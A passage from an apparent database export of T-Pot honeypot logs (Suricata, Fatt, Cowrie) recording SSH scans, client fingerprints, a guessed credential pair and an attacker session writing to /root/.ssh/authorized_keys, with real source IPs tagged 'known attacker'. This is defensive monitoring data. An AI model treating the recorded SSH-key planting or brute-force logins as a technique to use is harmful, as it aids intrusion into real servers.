AAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52048, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:05:00.727963Z", "@timestamp": "2021-09-20T11:05:00.727Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........\\rW...HT..*...Q...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20595	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:05:00.187027+03	2021-09-20 14:15:02.571613+03	{"_id": "EwXhAnwBvYTbRNuEb_oO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:04:59.189711+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 569770006799631, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 29696, "dest_port": 22, "timestamp": "2021-09-20T11:05:00.187027Z", "@timestamp": "2021-09-20T11:05:00.187Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
20596	68.168.141.140	109.199.241.180	Fatt	2021-09-20 14:05:00.727963+03	2021-09-20 14:15:02.572613+03	{"_id": "GQXhAnwBvYTbRNuEcPor", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "68.168.141.140", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 52048, "dest_port": 22, "timestamp": "2021-09-20T11:05:00.727963", "@timestamp": "2021-09-20T11:05:00.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20597	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:05:00.537548+03	2021-09-20 14:15:02.574612+03	{"_id": "GgXhAnwBvYTbRNuEcPor", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "bf4c337235b6", "@version": "1", "duration": 3.198706865310669, "timestamp": "2021-09-20T11:05:00.537548Z", "@timestamp": "2021-09-20T11:05:00.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20598	68.168.141.140	109.199.241.180	Cowrie	2021-09-20 14:05:00.728594+03	2021-09-20 14:15:02.575613+03	{"_id": "GwXhAnwBvYTbRNuEcPor", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "68.168.141.140", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "98000530affb", "@version": "1", "timestamp": "2021-09-20T11:05:00.728594Z", "@timestamp": "2021-09-20T11:05:00.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20599	5.188.62.248	109.199.241.180	Suricata	2021-09-20 14:05:01.531149+03	2021-09-20 14:15:02.576612+03	{"_id": "IgXhAnwBvYTbRNuEcvr4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.248", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.248", "dest_ip": "192.168.20.116", "flow_id": 1734331061850369, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 30592, "dest_port": 22, "timestamp": "2021-09-20T11:05:01.531149Z", "@timestamp": "2021-09-20T11:05:01.531Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20600	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:05:01.475956+03	2021-09-20 14:15:02.578613+03	{"_id": "JAXhAnwBvYTbRNuEc_rG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.248", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 30592, "timestamp": "2021-09-20T11:05:01.475956", "@timestamp": "2021-09-20T11:05:01.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20601	5.188.62.248	109.199.241.180	Cowrie	2021-09-20 14:05:01.474618+03	2021-09-20 14:15:02.579613+03	{"_id": "JQXhAnwBvYTbRNuEc_rG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.248", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.248", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "ba926a234821", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:05:01.474618Z", "@timestamp": "2021-09-20T11:05:01.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20602	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:05:01.739187+03	2021-09-20 14:15:02.580613+03	{"_id": "JgXhAnwBvYTbRNuEc_rG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "42.63.158.253", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "02098b2841c8", "@version": "1", "destfile": "/root/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:05:01.739187Z", "@timestamp": "2021-09-20T11:05:01.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
20603	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:05:01.741978+03	2021-09-20 14:15:02.582646+03	{"_id": "JwXhAnwBvYTbRNuEc_rG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "42.63.158.253", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "02098b2841c8", "@version": "1", "duration": 0.721461296081543, "duplicate": true, "timestamp": "2021-09-20T11:05:01.741978Z", "@timestamp": "2021-09-20T11:05:01.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20604	5.188.62.248	109.199.241.180	Cowrie	2021-09-20 14:05:01.471755+03	2021-09-20 14:15:02.583646+03	{"_id": "KgXhAnwBvYTbRNuEdPoS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.248", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.248", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.248:30592 (192.168.176.2:22) [session: ba926a234821]", "session": "ba926a234821", "@version": "1", "protocol": "ssh", "src_port": 30592, "dest_port": 22, "timestamp": "2021-09-20T11:05:01.471755Z", "@timestamp": "2021-09-20T11:05:01.471Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20605	68.168.141.140	109.199.241.180	Cowrie	2021-09-20 14:05:01.645767+03	2021-09-20 14:15:02.584614+03	{"_id": "MAXhAnwBvYTbRNuEdPoS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "68.168.141.140", "asn": 53612, "as_org": "Carat Networks Inc", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "68.168.141.140", "eventid": "cowrie.login.failed", "message": "login attempt [jrp/jrp] failed", "session": "98000530affb", "@version": "1", "password": "jrp", "username": "jrp", "timestamp": "2021-09-20T11:05:01.645767Z", "@timestamp": "2021-09-20T11:05:01.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20606	5.188.62.248	109.199.241.180	Fatt	2021-09-20 14:05:01.531271+03	2021-09-20 14:15:02.586614+03	{"_id": "LwXhAnwBvYTbRNuEdPoS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.248", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.248", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "f375f6841b1089d08bf8fad690c4f8ea", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,arcfour256,arcfour128,3des-cbc", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,arcfour256,arcfour128,3des-cbc", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,arcfour256,arcfour128,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 30592, "dest_port": 22, "timestamp": "2021-09-20T11:05:01.531271", "@timestamp": "2021-09-20T11:05:01.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20607	5.188.62.248	109.199.241.180	Cowrie	2021-09-20 14:05:01.531823+03	2021-09-20 14:15:02.587649+03	{"_id": "MQXhAnwBvYTbRNuEdPoS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "arcfour", "arcfour256", "arcfour128", "3des-cbc"], "geoip": {"ip": "5.188.62.248", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "f375f6841b1089d08bf8fad690c4f8ea", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.248", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: f375f6841b1089d08bf8fad690c4f8ea", "session": "ba926a234821", "@version": "1", "timestamp": "2021-09-20T11:05:01.531823Z", "@timestamp": "2021-09-20T11:05:01.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,arcfour256,arcfour128,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20608	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:05:02.172304+03	2021-09-20 14:15:02.588643+03	{"_id": "NAXhAnwBvYTbRNuEd_qw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-powepc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.session.params", "message": [], "session": "02098b2841c8", "@version": "1", "timestamp": "2021-09-20T11:05:02.172304Z", "@timestamp": "2021-09-20T11:05:02.172Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20609	42.63.158.253	109.199.241.180	Cowrie	2021-09-20 14:04:54.79646+03	2021-09-20 14:15:02.589644+03	{"_id": "8AXhAnwBvYTbRNuEWPm3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "42.63.158.253", "asn": 4837, "as_org": "CNCGROUP China169 Backbone", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.63.158.253", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "02098b2841c8", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T11:04:54.796460Z", "@timestamp": "2021-09-20T11:04:54.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
